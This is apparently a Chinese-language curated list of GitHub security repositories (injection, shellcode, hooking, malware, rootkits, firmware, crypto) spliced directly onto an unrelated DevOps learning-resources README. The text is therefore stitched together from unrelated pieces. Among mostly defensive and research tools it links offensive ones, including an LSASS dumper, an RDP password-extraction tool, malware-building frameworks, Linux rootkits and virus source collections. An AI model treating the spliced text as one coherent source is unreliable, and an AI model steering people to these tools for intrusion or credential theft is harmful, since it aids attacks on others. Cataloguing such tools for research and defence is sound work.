- [**699**星][4m] [C++] [darthton/xenos](https://github.com/darthton/xenos) Windows DLL 注入器
### <a id="1c6069610d73eb4246b58d78c64c9f44"></a>代码注入
### <a id="7c1541a69da4c025a89b0571d8ce73d2"></a>内存模块
### <a id="16001cb2fae35b722deaa3b9a8e5f4d5"></a>Shellcode
- [**533**星][4m] [C++] [nytrorst/shellcodecompiler](https://github.com/nytrorst/shellcodecompiler) 将C/C ++样式代码编译成一个小的、与位置无关且无NULL的Shellcode，用于Windows（x86和x64）和Linux（x86和x64）
- 重复区段: [Linux->工具](#89e277bca2740d737c1aeac3192f374c) |
### <a id="19cfd3ea4bd01d440efb9d4dd97a64d0"></a>VT&&虚拟化&&Hypbervisor
- [**1311**星][18d] [C] [intel/haxm](https://github.com/intel/haxm) Intel 开源的英特尔硬件加速执行管理器，通过硬件辅助的虚拟化引擎，加速 Windows/macOS 主机上的 IA emulation（(x86/ x86_64) ）
- [**1003**星][1y] [C] [ionescu007/simplevisor](https://github.com/ionescu007/simplevisor) 英特尔VT-x虚拟机管理程序，简单、可移植。支持Windows和UEFI
- [**708**星][3m] [C++] [tandasat/hyperplatform](https://github.com/tandasat/hyperplatform) 基于Intel VT-x的虚拟机管理程序，旨在在Windows上提供精简的VM-exit过滤平台
- [**561**星][11m] [C] [asamy/ksm](https://github.com/asamy/ksm) 快速、hackable且简单的x64 VT-x虚拟机管理程序，支持Windows和Linux
- 重复区段: [Linux->工具](#89e277bca2740d737c1aeac3192f374c) |
### <a id="c3cda3278305549f4c21df25cbf638a4"></a>内核&&驱动
- [**928**星][9m] [C] [microsoft/windows-driver-frameworks](https://github.com/microsoft/windows-driver-frameworks) Windows驱动框架(WDF)
- [**760**星][13d] [axtmueller/windows-kernel-explorer](https://github.com/axtmueller/windows-kernel-explorer) Windows内核研究工具
- [**506**星][5m] [Py] [rabbitstack/fibratus](https://github.com/rabbitstack/fibratus) Windows内核探索和跟踪工具
- [**459**星][22d] [C] [jkornev/hidden](https://github.com/jkornev/hidden) Windows驱动，带用户模式接口：隐藏文件系统和注册表对象、保护进程等
- [**278**星][7d] [PowerShell] [microsoftdocs/windows-driver-docs](https://github.com/MicrosoftDocs/windows-driver-docs) 官方Windows驱动程序工具包文档
### <a id="920b69cea1fc334bbc21a957dd0d9f6f"></a>注册表
- [**479**星][7d] [Batchfile] [chef-koch/regtweaks](https://github.com/chef-koch/regtweaks) Windows注册表调整（Win 7-Win 10）
- [**288**星][7m] [Py] [williballenthin/python-registry](https://github.com/williballenthin/python-registry) 用于对Windows NT注册表文件进行纯读取访问的Python库
### <a id="d295182c016bd9c2d5479fe0e98a75df"></a>系统调用
- [**712**星][2m] [HTML] [j00ru/windows-syscalls](https://github.com/j00ru/windows-syscalls) Windows 系统调用表(NT/2000/XP/2003/Vista/2008/7/2012/8/10)
- [**316**星][30d] [C] [hfiref0x/syscalltables](https://github.com/hfiref0x/syscalltables) Windows NT x64系统调用表
***
## <a id="3939f5e83ca091402022cb58e0349ab8"></a>文章
# <a id="dc664c913dc63ec6b98b47fcced4fdf0"></a>Linux
***
## <a id="89e277bca2740d737c1aeac3192f374c"></a>工具
- [**1422**星][2m] [C] [feralinteractive/gamemode](https://github.com/feralinteractive/gamemode) Optimise Linux system performance on demand
- [**1406**星][1m] [C++] [google/nsjail](https://github.com/google/nsjail) A light-weight process isolation tool, making use of Linux namespaces and seccomp-bpf syscall filters (with help of the kafel bpf language)
- [**884**星][8d] [C] [buserror/simavr](https://github.com/buserror/simavr) simavr is a lean, mean and hackable AVR simulator for linux & OSX
- [**751**星][17d] [Py] [korcankaraokcu/pince](https://github.com/korcankaraokcu/pince) A reverse engineering tool that'll supply the place of Cheat Engine for linux
- [**740**星][1m] [C] [yrp604/rappel](https://github.com/yrp604/rappel) A linux-based assembly REPL for x86, amd64, armv7, and armv8
- [**717**星][11d] [C] [strace/strace](https://github.com/strace/strace) strace is a diagnostic, debugging and instructional userspace utility for Linux
- [**561**星][11m] [C] [asamy/ksm](https://github.com/asamy/ksm) 快速、hackable且简单的x64 VT-x虚拟机管理程序，支持Windows和Linux
- 重复区段: [Windows->工具->VT](#19cfd3ea4bd01d440efb9d4dd97a64d0) |
- [**559**星][1m] [Py] [autotest/autotest](https://github.com/autotest/autotest) Fully automated tests on Linux
- [**552**星][13d] [C++] [intel/linux-sgx](https://github.com/intel/linux-sgx) Intel SGX for Linux*
- [**533**星][4m] [C++] [nytrorst/shellcodecompiler](https://github.com/nytrorst/shellcodecompiler) 将C/C ++样式代码编译成一个小的、与位置无关且无NULL的Shellcode，用于Windows（x86和x64）和Linux（x86和x64）
- 重复区段: [Windows->工具->Shellcode](#16001cb2fae35b722deaa3b9a8e5f4d5) |
- [**502**星][7m] [C] [iovisor/ply](https://github.com/iovisor/ply) Dynamic Tracing in Linux
- [**466**星][7d] [C] [libreswan/libreswan](https://github.com/libreswan/libreswan) an Internet Key Exchange (IKE) implementation for Linux.
- [**437**星][7d] [C] [facebook/openbmc](https://github.com/facebook/openbmc) OpenBMC is an open software framework to build a complete Linux image for a Board Management Controller (BMC).
- [**385**星][9m] [Shell] [microsoft/linux-vm-tools](https://github.com/microsoft/linux-vm-tools) Hyper-V Linux Guest VM Enhancements
- [**384**星][27d] [Shell] [yadominjinta/atilo](https://github.com/yadominjinta/atilo) Linux installer for termux
- [**346**星][1m] [C] [seccomp/libseccomp](https://github.com/seccomp/libseccomp) an easy to use, platform independent, interface to the Linux Kernel's syscall filtering mechanism
- [**328**星][4m] [Go] [capsule8/capsule8](https://github.com/capsule8/capsule8) 对云本地，容器和传统的基于 Linux 的服务器执行高级的行为监控
- [**280**星][24d] [Py] [facebook/fbkutils](https://github.com/facebook/fbkutils) A variety of utilities built and maintained by Facebook's Linux Kernel Team that we wish to share with the community.
- [**227**星][7m] [C] [wkz/ply](https://github.com/wkz/ply) Light-weight Dynamic Tracer for Linux
***
## <a id="f6d78e82c3e5f67d13d9f00c602c92f0"></a>文章
# <a id="3f1fde99538be4662dca6747a365640b"></a>Hook
***
## <a id="cfe974d48bbb90a930bf667c173616c7"></a>工具
- [**1228**星][1y] [Kotlin] [gh0u1l5/wechatspellbook](https://github.com/gh0u1l5/wechatspellbook) 一个使用Kotlin编写的开源微信插件框架，底层需要 Xposed 或 VirtualXposed 等Hooking框架的支持，而顶层可以轻松对接Java、Kotlin、Scala等JVM系语言。让程序员能够在几分钟内编写出简单的微信插件，随意揉捏微信的内部逻辑。
- [**1114**星][1y] [Objective-C] [yulingtianxia/fishchat](https://github.com/yulingtianxia/fishchat) Hook WeChat.app on non-jailbroken devices.
- [**1004**星][5m] [C++] [everdox/infinityhook](https://github.com/everdox/infinityhook) Hook system calls, context switches, page faults and more.
- [**757**星][20d] [Go] [thoughtworks/talisman](https://github.com/thoughtworks/talisman) By hooking into the pre-push hook provided by Git, Talisman validates the outgoing changeset for things that look suspicious - such as authorization tokens and private keys.
- [**670**星][7m] [Java] [pagalaxylab/yahfa](https://github.com/PAGalaxyLab/YAHFA) Yet Another Hook Framework for ART
- [**640**星][3m] [C++] [stevemk14ebr/polyhook](https://github.com/stevemk14ebr/polyhook) x86/x64 C++ Hooking Library
- [**568**星][7m] [Objective-C] [rpetrich/captainhook](https://github.com/rpetrich/captainhook) Common hooking/monkey patching headers for Objective-C on Mac OS X and iPhone OS. MIT licensed
- [**530**星][1y] [Objective-C++] [davidgoldman/inspectivec](https://github.com/davidgoldman/inspectivec) objc_msgSend hook for debugging/inspection purposes.
- [**509**星][11d] [C] [mohuihui/antispy](https://github.com/mohuihui/antispy) AntiSpy is a free but powerful anti virus and rootkits toolkit.It offers you the ability with the highest privileges that can detect,analyze and restore various kernel modifications and hooks.With its assistance,you can easily spot and neutralize malwares hidden from normal detectors.
- [**475**星][1y] [C++] [tandasat/ddimon](https://github.com/tandasat/ddimon) Monitoring and controlling kernel API calls with stealth hook using EPT
- [**436**星][16d] [C++] [stevemk14ebr/polyhook_2_0](https://github.com/stevemk14ebr/polyhook_2_0) C++17, x86/x64 Hooking Libary v2.0
- [**401**星][8m] [C] [darthton/hyperbone](https://github.com/darthton/hyperbone) Minimalistic VT-x hypervisor with hooks
- [**366**星][26d] [C++] [0x09al/rdpthief](https://github.com/0x09al/rdpthief) Extracting Clear Text Passwords from mstsc.exe using API Hooking.
- [**361**星][1m] [C++] [steven-michaud/hookcase](https://github.com/steven-michaud/hookcase) Tool for reverse engineering macOS/OS X
- [**339**星][5m] [C] [zeex/subhook](https://github.com/zeex/subhook) Simple hooking library for C/C++ (x86 only, 32/64-bit, no dependencies)
- [**260**星][11m] [C] [nbulischeck/tyton](https://github.com/nbulischeck/tyton) Linux内核模式Rootkit Hunter. 可检测隐藏系统模块、系统调用表Hooking、网络协议Hooking等
- [**245**星][4m] [C] [gbps/gbhv](https://github.com/gbps/gbhv) Simple x86-64 VT-x Hypervisor with EPT Hooking
- [**238**星][5m] [C] [outflanknl/dumpert](https://github.com/outflanknl/dumpert) LSASS memory dumper using direct system calls and API unhooking.
- [**233**星][22d] [C] [kubo/plthook](https://github.com/kubo/plthook) Hook function calls by replacing PLT(Procedure Linkage Table) entries.
- [**217**星][1y] [C#] [easy66/monohooker](https://github.com/easy66/monohooker) hook C# method at runtime without modify dll file (such as UnityEditor.dll)
- [**211**星][1y] [C] [suvllian/process-inject](https://github.com/suvllian/process-inject) 在Windows环境下的进程注入方法：远程线程注入、创建进程挂起注入、反射注入、APCInject、SetWindowHookEX注入
# <a id="70e64e3147675c9bcd48d4f475396e7f"></a>Monitor&&监控&&Trace&&追踪
***
## <a id="cd76e644d8ddbd385939bb17fceab205"></a>工具
- [**1407**星][7d] [C] [namhyung/uftrace](https://github.com/namhyung/uftrace) Function (graph) tracer for user-space
# <a id="28aa8187f8a1e38ca5a55aa31a5ee0c3"></a>Game&&游戏
***
## <a id="07f0c2cbf63c1d7de6f21fa43443ede3"></a>工具
- [**1124**星][12d] [C++] [crosire/reshade](https://github.com/crosire/reshade) A generic post-processing injector for games and video software.
- [**1122**星][3m] [Py] [openai/neural-mmo](https://github.com/openai/neural-mmo) Code for the paper "Neural MMO: A Massively Multiagent Game Environment for Training and Evaluating Intelligent Agents"
- [**723**星][6m] [Assembly] [cirosantilli/x86-assembly-cheat](https://github.com/cirosantilli/x86-assembly-cheat) the bulk of the x86 instruction examples with assertions.
- [**515**星][2m] [Kotlin] [jire/charlatano](https://github.com/jire/charlatano) Proves JVM cheats are viable on native games, and demonstrates the longevity against anti-cheat signature detection systems
- [**353**星][18d] [C] [liji32/sameboy](https://github.com/liji32/sameboy) Game Boy and Game Boy Color emulator written in C
- [**351**星][11d] [C#] [leaguesandbox/gameserver](https://github.com/leaguesandbox/gameserver) League Sandbox's Game Server
- [**260**星][5m] [C++] [niemand-sec/anticheat-testing-framework](https://github.com/niemand-sec/anticheat-testing-framework) Framework for testing any Anti-Cheat
- [**215**星][2m] [C] [xyzz/gamecard-microsd](https://github.com/xyzz/gamecard-microsd) microSD adapter for PlayStation Vita
- [**204**星][4m] [C++] [eternityx/deadcell-csgo](https://github.com/eternityx/deadcell-csgo) Full source to the CS:GO cheat
# <a id="09fa851959ff48f5667a2099c861eab8"></a>Malware&&恶意代码
***
## <a id="e781a59e4f4daab058732cf66f77bfb9"></a>工具
- [**1433**星][1y] [TypeScript] [pedronauck/reworm](https://github.com/pedronauck/reworm)
- [**927**星][4m] [Py] [airbnb/binaryalert](https://github.com/airbnb/binaryalert) 实时恶意代码检测，无需服务器
- [**777**星][2m] [Py] [gosecure/malboxes](https://github.com/gosecure/malboxes) Builds malware analysis Windows VMs so that you don't have to.
- [**679**星][17d] [Py] [rurik/noriben](https://github.com/rurik/noriben) Portable, Simple, Malware Analysis Sandbox
- [**654**星][8m] [Shell] [rfxn/linux-malware-detect](https://github.com/rfxn/linux-malware-detect) Linux Malware Detection (LMD)
- [**591**星][5m] [fabrimagic72/malware-samples](https://github.com/fabrimagic72/malware-samples) 恶意软件样本
- [**563**星][2m] [Py] [certsocietegenerale/fame](https://github.com/certsocietegenerale/fame) 自动化恶意代码评估
- [**534**星][2m] [Py] [tencent/habomalhunter](https://github.com/tencent/habomalhunter) HaboMalHunter is a sub-project of Habo Malware Analysis System (
- [**488**星][29d] [C] [hasherezade/demos](https://github.com/hasherezade/demos) Demos of various injection techniques found in malware
- [**392**星][1m] [YARA] [guelfoweb/peframe](https://github.com/guelfoweb/peframe) PEframe is a open source tool to perform static analysis on Portable Executable malware and malicious MS Office documents.
- [**390**星][6m] [JS] [capacitorset/box-js](https://github.com/capacitorset/box-js) A tool for studying JavaScript malware.
- [**386**星][7d] [C#] [collinbarrett/filterlists](https://github.com/collinbarrett/filterlists) independent, comprehensive directory of filter and host lists for advertisements, trackers, malware, and annoyances.
- [**375**星][7m] [Py] [secrary/ssma](https://github.com/secrary/ssma) SSMA - Simple Static Malware Analyzer [This project is not maintained anymore]
- [**366**星][2m] [AngelScript] [inquest/malware-samples](https://github.com/inquest/malware-samples) A collection of malware samples and relevant dissection information, most probably referenced from
- [**363**星][3m] [Py] [neo23x0/munin](https://github.com/neo23x0/munin) Online hash checker for Virustotal and other services
- [**353**星][5m] [Py] [hasherezade/malware_analysis](https://github.com/hasherezade/malware_analysis) Various snippets created during malware analysis
- [**331**星][8m] [Py] [rek7/fireelf](https://github.com/rek7/fireelf) Fileless Linux Malware Framework
- [**325**星][7d] [Py] [fireeye/stringsifter](https://github.com/fireeye/stringsifter) A machine learning tool that automatically ranks strings based on their relevance for malware analysis.
- [**310**星][21d] [C#] [malware-dev/mdk-se](https://github.com/malware-dev/mdk-se) Malware's Development Kit for SE
- [**307**星][1y] [C++] [m0n0ph1/process-hollowing](https://github.com/m0n0ph1/process-hollowing) Great explanation of Process Hollowing (a Technique often used in Malware)
- [**302**星][11m] [Assembly] [guitmz/virii](https://github.com/guitmz/virii) Collection of ancient computer virus source codes
- [**302**星][4m] [JS] [hynekpetrak/malware-jail](https://github.com/hynekpetrak/malware-jail) Sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction. Written for Node.js
- [**283**星][7m] [Java] [katjahahn/portex](https://github.com/katjahahn/portex) Java library to analyse Portable Executable files with a special focus on malware analysis and PE malformation robustness
- [**281**星][8m] [Py] [phage-nz/ph0neutria](https://github.com/phage-nz/ph0neutria) ph0neutria is a malware zoo builder that sources samples straight from the wild. Everything is stored in Viper for ease of access and manageability.
- [**277**星][7m] [C] [rieck/malheur](https://github.com/rieck/malheur) A Tool for Automatic Analysis of Malware Behavior
- [**268**星][2m] [JS] [hynekpetrak/javascript-malware-collection](https://github.com/hynekpetrak/javascript-malware-collection) Collection of almost 40.000 javascript malware samples
- [**252**星][10m] [C++] [ramadhanamizudin/malware](https://github.com/ramadhanamizudin/malware) Malware Samples. Uploaded to GitHub for those want to analyse the code. Code mostly from:
- [**240**星][1m] [Py] [a3sal0n/falcongate](https://github.com/a3sal0n/falcongate) A smart gateway to stop hackers and Malware attacks
- [**237**星][8m] [C++] [mstfknn/malware-sample-library](https://github.com/mstfknn/malware-sample-library) Malware sample library.
- [**230**星][2m] [C++] [richkmeli/richkware](https://github.com/richkmeli/richkware) Framework for building Windows malware, written in C++
- [**212**星][2m] [Py] [eset/malware-research](https://github.com/eset/malware-research) 恶意代码分析中用到的代码/工具
- [**202**星][12d] [Py] [doomedraven/virustotalapi](https://github.com/doomedraven/virustotalapi) VirusTotal Full api
# <a id="5fdcfc70dd87360c2dddcae008076547"></a>Rootkit&&Bootkit
***
## <a id="b8d6f237c04188a10f511cd8988de28a"></a>工具
- [**1191**星][9m] [C] [f0rb1dd3n/reptile](https://github.com/f0rb1dd3n/reptile) LKM Linux rootkit
- [**722**星][8m] [C] [mempodippy/vlany](https://github.com/mempodippy/vlany) Linux LD_PRELOAD rootkit (x86 and x86_64 architectures)
- [**509**星][5m] [C] [nurupo/rootkit](https://github.com/nurupo/rootkit) Linux rootkit，针对 Ubuntu 16.04 及 10.04 (Linux 内核 4.4.0/2.6.32), 支持 i386 和 amd64
- [**426**星][1y] [C] [novicelive/research-rootkit](https://github.com/novicelive/research-rootkit) LibZeroEvil & the Research Rootkit project.
- [**387**星][2m] [milabs/awesome-linux-rootkits](https://github.com/milabs/awesome-linux-rootkits) awesome-linux-rootkits
# <a id="069468057aac03c102abdbeb7a5decf6"></a>硬件
***
## <a id="3574d46dd09566f898b407cebe9df29b"></a>固件
### <a id="649d2aece91551af8b48d29f52943804"></a>Firmware&&固件
- [**6170**星][6m] [rmerl/asuswrt-merlin](https://github.com/rmerl/asuswrt-merlin) Enhanced version of Asus's router firmware (Asuswrt) (legacy code base)
- [**3621**星][2m] [C] [atmosphere-nx/atmosphere](https://github.com/atmosphere-nx/atmosphere) Atmosphère is a work-in-progress customized firmware for the Nintendo Switch.
- [**3209**星][8d] [C] [betaflight/betaflight](https://github.com/betaflight/betaflight) Open Source Flight Controller Firmware
- [**3108**星][4m] [C++] [px4/firmware](https://github.com/px4/firmware) PX4 Autopilot Software
- [**2810**星][28d] [C] [tmk/tmk_keyboard](https://github.com/tmk/tmk_keyboard) Atmel AVR 和 Cortex-M键盘固件收集
- [**2267**星][1m] [C] [aurorawright/luma3ds](https://github.com/aurorawright/luma3ds) Noob-proof (N)3DS "Custom Firmware"
- [**1441**星][19d] [C] [tianocore/edk2](https://github.com/tianocore/edk2) A modern, feature-rich, cross-platform firmware development environment for the UEFI and PI specifications
- [**784**星][8d] [C] [fwupd/fwupd](https://github.com/fwupd/fwupd) A simple daemon to allow session software to update firmware
- [**633**星][6m] [C] [travisgoodspeed/md380tools](https://github.com/travisgoodspeed/md380tools) Python tools and patched firmware for the TYT-MD380
- [**415**星][5m] [preos-security/awesome-firmware-security](https://github.com/preos-security/awesome-firmware-security) Awesome Firmware Security & Other Helpful Documents
- [**370**星][12d] [Py] [fkie-cad/fact_core](https://github.com/fkie-cad/fact_core) Firmware Analysis and Comparison Tool
- [**284**星][5m] [C++] [rampagex/firmware-mod-kit](https://github.com/rampagex/firmware-mod-kit) Automatically exported from code.google.com/p/firmware-mod-kit
- [**279**星][1m] [Py] [cwerling/psptool](https://github.com/cwerling/psptool) Display, extract, and manipulate PSP firmware inside UEFI images
- [**237**星][11d] [Py] [avatartwo/avatar2](https://github.com/avatartwo/avatar2) targetorchestration 框架，重点是嵌入式设备固件的动态分析
- [**234**星][11m] [C] [reisyukaku/reinand](https://github.com/reisyukaku/reinand) Minimalist 3DS custom firmware.
### <a id="fff92e7d304e2c927ef3530f4d327456"></a>Intel
- [**507**星][1m] [Py] [platomav/meanalyzer](https://github.com/platomav/meanalyzer) Intel Engine Firmware Analysis Tool
- [**465**星][1y] [Py] [ptresearch/unme11](https://github.com/ptresearch/unme11) Intel ME 11.x Firmware Images Unpacker
# <a id="948dbc64bc0ff4a03296988574f5238c"></a>Crypto&&加密&&算法
***
## <a id="a6b0a9b9184fd78c8b87ccfe48a8e544"></a>工具
- [**2369**星][2m] [TeX] [crypto101/book](https://github.com/crypto101/book) Crypto 101, the introductory book on cryptography.
- [**1580**星][7d] [Go] [bitnami-labs/sealed-secrets](https://github.com/bitnami-labs/sealed-secrets) A Kubernetes controller and tool for one-way encrypted Secrets
- [**1433**星][12d] [C++] [microsoft/seal](https://github.com/microsoft/seal) Microsoft SEAL is an easy-to-use and powerful homomorphic encryption library.
- [**832**星][13d] [Haskell] [galoisinc/cryptol](https://github.com/galoisinc/cryptol) The Language of Cryptography
- [**758**星][1y] [pfarb/awesome-crypto-papers](https://github.com/pfarb/awesome-crypto-papers) A curated list of cryptography papers, articles, tutorials and howtos.
- [**693**星][5m] [C++] [stealth/opmsg](https://github.com/stealth/opmsg) opmsg message encryption
- [**660**星][26d] [Java] [google/conscrypt](https://github.com/google/conscrypt) Conscrypt is a Java Security Provider that implements parts of the Java Cryptography Extension and Java Secure Socket Extension.
- [**482**星][3m] [C] [microsoft/symcrypt](https://github.com/microsoft/symcrypt) Cryptographic library
- [**466**星][3m] [miscreant/meta](https://github.com/miscreant/meta) 具备错误使用抗性的（Misuse-resistant ）对称加密库，支持 AES-SIV (RFC5297) 和 CHAIN/STREAM
- [**463**星][8d] [C] [skeeto/enchive](https://github.com/skeeto/enchive) Encrypted personal archives
- [**432**星][1m] [Go] [gorilla/securecookie](https://github.com/gorilla/securecookie) Package gorilla/securecookie encodes and decodes authenticated and optionally encrypted cookie values for Go web applications.
- [**380**星][21d] [C++] [msoos/cryptominisat](https://github.com/msoos/cryptominisat) An advanced SAT solver
- [**349**星][7m] [Haskell] [jpmorganchase/constellation](https://github.com/jpmorganchase/constellation) Peer-to-peer encrypted message exchange
- [**334**星][26d] [Shell] [umputun/nginx-le](https://github.com/umputun/nginx-le) Nginx with automatic let's encrypt (docker image)
- [**328**星][10d] [Py] [efforg/starttls-everywhere](https://github.com/efforg/starttls-everywhere) A system for ensuring & authenticating STARTTLS encryption between mail servers
- [**323**星][5m] [JS] [hr/crypter](https://github.com/hr/crypter) An innovative, convenient and secure cross-platform encryption app
- [**305**星][18d] [C] [jhuisi/charm](https://github.com/jhuisi/charm) A Framework for Rapidly Prototyping Cryptosystems
- [**265**星][13d] [Py] [nucypher/nucypher](https://github.com/nucypher/nucypher) A decentralized network offering accessible, intuitive, and extensible cryptographic runtimes and interfaces for secrets management and dynamic access control.
- [**253**星][13d] [C] [icing/mod_md](https://github.com/icing/mod_md) Let's Encrypt (ACME) support for Apache httpd
- [**244**星][14d] [C++] [evpo/encryptpad](https://github.com/evpo/encryptpad) Minimalist secure text editor and binary encryptor that implements RFC 4880 Open PGP format: symmetrically encrypted, compressed and integrity protected. The editor can protect files with passwords, key files or both.
- [**229**星][7m] [C] [ctz/cifra](https://github.com/ctz/cifra) A collection of cryptographic primitives targeted at embedded use.
- [**223**星][1m] [C] [libyal/libfvde](https://github.com/libyal/libfvde) Library and tools to access FileVault Drive Encryption (FVDE) encrypted volumes
- [**222**星][2m] [vixentael/my-talks](https://github.com/vixentael/my-talks) List of my talks and workshops: security engineering, applied cryptography, secure software development
- [**221**星][12m] [C] [gkdr/lurch](https://github.com/gkdr/lurch) XEP-0384: OMEMO Encryption for libpurple.
- [**220**星][2m] [Go] [cloudflare/tls-tris](https://github.com/cloudflare/tls-tris) crypto/tls, now with 100% more 1.3. THE API IS NOT STABLE AND DOCUMENTATION IS NOT GUARANTEED.
- [**203**星][5m] [Py] [nucypher/nufhe](https://github.com/nucypher/nufhe) NuCypher fully homomorphic encryption (NuFHE) library implemented in Python
- [**202**星][5m] [TeX] [decrypto-org/rupture](https://github.com/decrypto-org/rupture) A framework for BREACH and other compression-based crypto attacks
- [**200**星][7m] [C] [doublelabyrinth/how-does-navicat-encrypt-password](https://github.com/doublelabyrinth/how-does-navicat-encrypt-password) This repository tells you how Navicat encrypts database password.
# 贡献
内容为系统自动导出, 有任何问题请提issue |
<p align="center"><img src="images/devops_resources.png"/></p>
[](https://discord.gg/ceMXzhfaka)
To join **DEVs Dungeon** GitHub Organization, click [here](https://github.com/Devs-Dungeon/support/issues/new?assignees=&labels=invite+me+to+the+organisation&template=invitation.yml&title=Please+invite+me+to+the+GitHub+Community+Organization)
➤ If you find this **REPOSITORY** helpful, then do give it a `🌟` by pressing the topmost-right button 🤗
➤ To save a copy of this **REPOSITORY** to your own GitHub, click on <a href="https://github.com/Devs-Dungeon/Resources/edit/main/README.md"><kbd><b>Fork</b></kbd></a> on the top right of your screen 🤗
:information_source: This repository is about gathering any useful resources and information regarding DevOps and secondly, provide some roadmap for those who want to practice DevOps.
:pencil: Feel free to add more resources by sumitting pull requests
****
<!-- ALL-TOPICS-LIST:START -->
<!-- prettier-ignore-start -->
<!-- markdownlint-disable -->
<center>
<table>
<tr>
<td align="center"><a href="#devops"><img src="images/devops.png" width="70px;" height="75px;" alt="DevOps" /><br /><b>DevOps</b></a></td>
<td align="center"><a href="resources/jenkins/README.md"><img src="images/jenkins.png" width="80px;" height="85px;" alt="Jenkins"/><br /><b>Jenkins</b></a></td>
<td align="center"><a href="resources/git.md"><img src="images/git.png" width="110px;" height="75px;" alt="Git"/><br /><b>Git</b></a></td>
<td align="center"><a href="resources/ansible.md"><img src="images/ansible.png" width="65px;" height="75px;" alt="Ansible"/><br /><b>Ansible</b></a></td>
<td align="center"><a href="resources/network.md"><img src="images/network.png" width="80x;" height="75px;" alt="Network"/><br /><b>Network</b></a></td>
<td align="center"><a href="resources/linux.md"><img src="images/linux.png" width="75x;" height="75px;" alt="Linux"/><br /><b>Linux</b></a></td>
<td align="center"><a href="resources/terraform.md"><img src="images/terraform.png" width="75px;" height="75px;" alt="Terraform"/><br /><b>Terraform</b></a></td>
</tr>
<tr>
<td align="center"><a href="resources/coding.md"><img src="images/coding.png" width="75px;" height="75px;" alt="coding"/><br /><b>Coding</b></a></td>
<td align="center"><a href="resources/python.md"><img src="images/python.png" width="80px;" height="75px;" alt="Python"/><br /><b>Python</b></a></td>
<td align="center"><a href="resources/go.md"><img src="images/go.png" width="80px;" height="75px;" alt="Go"/><br /><b>Go</b></a></td>
<td align="center"><a href="resources/bash.md"><img src="images/bash.png" width="70px;" height="75px;" alt="Bash"/><br /><b>Shell Scripting</b></a></td>
<td align="center"><a href="resources/kubernetes.md"><img src="images/kubernetes.png" width="75px;" height="75px;" alt="kubernetes"/><br /><b>Kubernetes</b></a></td>
<td align="center"><a href="resources/prometheus.md"><img src="images/prometheus.png" width="75px;" height="75px;" alt="Prometheus"/><br /><b>Prometheus</b></a></td>
<td align="center"><a href="resources/mongo.md"><img src="images/mongo.png" width="75px;" height="75px;" alt="Mongo"/><br /><b>Mongo</b></a></td>
</tr>
<tr>
<td align="center"><a href="resources/cloud.md"><img src="images/cloud.png" width="110px;" height="75px;" alt="Cloud"/><br /><b>Cloud</b></a></td>
<td align="center"><a href="resources/aws.md"><img src="images/aws.png" width="110px;" height="75px;" alt="AWS"/><br /><b>AWS</b></a></td>
<td align="center"><a href="resources/azure.md"><img src="images/azure.png" width="80px;" height="75px;" alt="azure"/><br /><b>Azure</b></a></td>
<td align="center"><a href="resources/gcp.md"><img src="images/gcp.png" width="75px;" height="75px;" alt="gcp"/><br /><b>Google Cloud Platform</b></a></td>
<td align="center"><a href="resources/openstack.md"><img src="images/openstack.png" width="75px;" height="75px;" alt="openstack"/><br /><b>OpenStack</b></a></td>
<td align="center"><a href="resources/security.md"><img src="images/security.png" width="75px;" height="75px;" alt="security"/><br /><b>Security</b></a></td>
<td align="center"><a href="resources/puppet.md"><img src="images/puppet.png" width="75px;" height="75px;" alt="puppet"/><br /><b>Puppet</b></a></td>
</tr>
<tr>
<td align="center"><a href="resources/elk.md"><img src="images/elk.png" width="75px;" height="75px;" alt="ELK"/><br /><b>ELK</b></a></td>
<td align="center"><a href="resources/dataops.md"><img src="images/dataops.png" width="75px;" height="75px;" alt="ELK"/><br /><b>DataOps</b></a></td>
<td align="center"><a href="resources/openshift.md"><img src="images/openshift.png" width="75px;" height="75px;" alt="OpenShift"/><br /><b>OpenShift</b></a></td>
<td align="center"><a href="resources/sql.md"><img src="images/sql.png" width="75px;" height="75px;" alt="sql"/><br /><b>SQL</b></a></td>
<td align="center"><a href="resources/containers.md"><img src="images/containers.png" width="75px;" height="75px;" alt="Containers"/><br /><b>Containers</b></a></td>
</tr>
</table>
</center>
<!-- markdownlint-enable -->
<!-- prettier-ignore-end -->
<!-- ALL-TOPICS-LIST:END -->
* [DevOps Roadmap](#devops-roadmap)
* [Alternative Roadmaps](#alternative-roadmaps)
* [Learn About DevOps](#learn-about-devops)
* [Learn Git](#learn-git)
* [Programming](#programming)
* [Operating Systems](#operating-systems)
* [DevOps Toolchain](#devops-toolchain)
<a name="devops"></a>
## DevOps
### DevOps Roadmap
* The following path is opinionated. You can find alternative paths in the [alternative roadmaps section](#alternative-roadmaps)
* Do NOT attempt to learn everything, especially if you are a complete beginner (the burnout will make you regret you ever heard the word DevOps)
* Learn enough to say "I know what is DevOps and I understand how to practice it". You can learn everything else by demand or when you feel ready
The must list
Topic | What to learn | Alternatives | Description
:------|:------|:------|:------:
Version Control | [Git](#Learn-git) | - | Version Control is used everywhere and Git is the leading version control technology
Programming | At least one [programming language](#programming) | None. Don't settle for learning only shell scripting | Anyone who practice DevOps should know programming to some extent
Operating System | [Linux](#operating-systems) | Other distribution of Linux :D | Operating Systems is another must when it comes to DevOps
Protocols | DHCP, UDP, TCP, HTTP, SSH | Not as an alternative, you can simply learn later: NFS, NTP, FTP | Learn how these protocols work and what they are used for
Applications | Web Server, Load Balancer, Cache, Database | | Learn how they work and try out some implementations (e.g. MySQL for databases and httpd for web servers)
[System Design](https://github.com/bregman-arie/system-design-notebook) | Availability, Reliability, Scalability, Performance | Learn how to design infrastructure and systems
The second must list :)
Seriously though, don't try to master everything in this list and start with something that you are interested in. The order has no meaning in this case.
Topic | What to learn | Alternatives | Description
:------|:------|:------|:------:
Configuration Management and IaC | Ansible and Terraform | CM: Chef, Puppet and Salt. IaC: Pulumi and CloudFormation |
Cloud | Azure, AWS, GCP | - |
Containers | Podman and Kubernetes| Docker instead of Podman. Nomad instead of Kubernetes |
CI/CD | Jenkins, GitHub Actions | Gitlab CI, Circle CI, Argo CD |
Logging and Dashboards | Elastic Stack, Report Portal, Grafana | Graylog, Splunk |
Monitoring | Prometheus | Nagios, Datadog |
### Alternative Roadmaps
There are other DevOps roadmaps and learning plans out there. If you feel the one above is little bit too much or just want to look at other options, maybe you'll find the following useful
Name | Description
:------|:------:
[DevOps Roadmap](https://github.com/kamranahmedse/developer-roadmap) | DevOps skills roadmap. What to to learn at each step.
[DevOps 3 Weeks Plan](https://medium.com/@medineshkatwal/devops-3-week-plan-from-16-oct-2019-to-31st-oct-2019-af486e625f72) | Detailed plan on what to do at each day
